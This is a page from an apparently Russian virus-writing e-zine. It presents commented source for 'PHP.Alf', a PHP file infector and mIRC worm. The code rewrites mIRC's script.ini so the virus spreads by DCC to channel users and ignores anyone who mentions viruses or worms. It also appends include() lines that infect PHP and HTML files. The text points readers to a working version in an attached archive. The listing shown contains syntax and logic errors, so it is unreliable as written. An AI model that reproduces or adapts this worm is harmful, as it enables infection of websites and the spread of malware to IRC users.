- [Digital Virus Labs #11] - [Page 23] -

 PHP.Alf
 (c) by ULTRAS/MATRiX

     PHP  вирус/mIRC  червь.  При  запуске  ищет  в  текущей директории и ее
 подкаталогах PHP, HTM и HTML файлы и заражает их. При заражении вставляется
 ссылка  на  вирусный  код,  который  находится  в  отдельном  файле.  Также
 проверяет  наличие  файла  "c:\mirc\script.ini"  и если такой обнаружен, то
 делает так, чтобы копия вирусного файла рассылалась по IRC.

     Приведенный  в  статье  код  откомментирован.  В  прилагающемся  архиве
 находится неоткомментированная рабочая версия.

<-------------------------------- CUT HERE --------------------------------->
<?php
// идентификатор PHP файла

// PHP.Alf by ULTRAS[MATRiX]

$phpdir = 'c:\phpalf';
$mircinf = 'c:\mirc\script.ini';
// всякое дерьмо которое понадобится для работы вируса.

$shom = true;
// ставим метки

if ( (file_exists($mircinf) )
// проверяем существует ли папка с файлом скриптов c:\mirc\script.ini
{
  $script  = fopen($mircinf, "r");
  $checks  = fread($script, filesize($mircinf);
  $virz    = strstr($checks, 'script.php');
// проверяем есть ли копия вируса в папке mirc
    if (!$virz) $shom = false;

      if ( ($shom=false) )
{
$unmirc = unlink($mircinf);
$tomirc = touch($mircinf);

$open_mirc = fopen($mircinf, "a");
// открываем файл c:\mirc\script.ini и записываем туда скрипт.

$fputs($open_mirc, "[script]");
$fputs($open_mirc, "n0; A.L.F script");
$fputs($open_mirc, "n1; by ULTRAS[MATRiX]");
$fputs($open_mirc, "n2=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }");
$fputs($open_mirc, "n3=  /dcc send $nick c:\phpalf\script.php");
$fputs($open_mirc, "n4=}");
$fputs($open_mirc, "n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }");
$fputs($open_mirc, "n6= /dcc send $nick c:\phpalf\script.php");
$fputs($open_mirc, "n7=}");
$fputs($open_mirc, "n8=on 1:QUIT:#:/msg $chan MTX4EVER");
$fputs($open_mirc, "n9=on 1:TEXT:*virus*:#:/.ignore $nick");
$fputs($open_mirc, "n10=on 1:TEXT:*virus*:?:/.ignore $nick");
$fputs($open_mirc, "n11=on 1:TEXT:*worm*:#:/.ignore $nick");
$fputs($open_mirc, "n12=on 1:TEXT:*worm*:?:/.ignore $nick");
$fputs($open_mirc, "n13=on 1:TEXT:*php*:#:/.ignore $nick");
$fputs($open_mirc, "n14=on 1:TEXT:*php*:?:/.ignore $nick");
$fputs($open_mirc, "n15=on 1:TEXT:*script*:#:/.ignore $nick");
$fputs($open_mirc, "n16=on 1:TEXT:*script*:?:/.ignore $nick");
return;
        }
}
 fclose($mircinf);
// закрываем файл, в который записали скрипт

 $shom = true;
// ставим метки

 $createdir = mkdir($phpdir,0)
 $renamefile = rename(__FILE__, 'alf.php');
 $copyfile = copy(__FILE__, 'c:\phpalf');
 $rename2 = rename('c:\phpalf\alf.php', 'script.php');
// создаем директорию и помещаем туда копию вируса


$dirz = opendir('.');
// открываем текущую диру

while ($alldir = readdir($dirz))
// читаем все файлы и их хэндлы

{
 $inf_ = true;
 $ext_ = false;
// ставим метки

 if ( ($ext_ = strstr ($alldir, '.php')) || ($ext_ = strstr ($alldir, '.html')) || ($ext_ = strstr ($alldir, '.htm')) )
 if ( is_file($alldir) && is_writeable($alldir) )
{
// проверяем расширение файла и его параметры

 $opz = fopen($alldir, "r");
// открываем его на чтение

 $check = fread($opz, filesize($alldir));
// читаем файл

 $sig_ = strstr ($check, 'alf.php');
// так, это нашо тело, его не заражать

 if (!$sig_) $inf_ = false;
// ставим метку
}

 if ( ($inf_=false) )
// если не заражено
        {
 $opz = fopen($alldir, "a");
// открываем файл на запись
 $fputs($opz, "<?php ");
 $fputs($opz, "include(\"");
 $fputs($opz, __FILE__);
 $fputs($opz, "\"); ");
 $fputs($opz, "?>");
// вставляем команды типа <?php include("полный путь и имя диры\alf.php"); ?>
  return;
        }
}
// закрываем директорию
closedir($dirz);
<-------------------------------- CUT HERE --------------------------------->

                                                    ULTRAS [MATRiX]

                                                    ultras.home.sk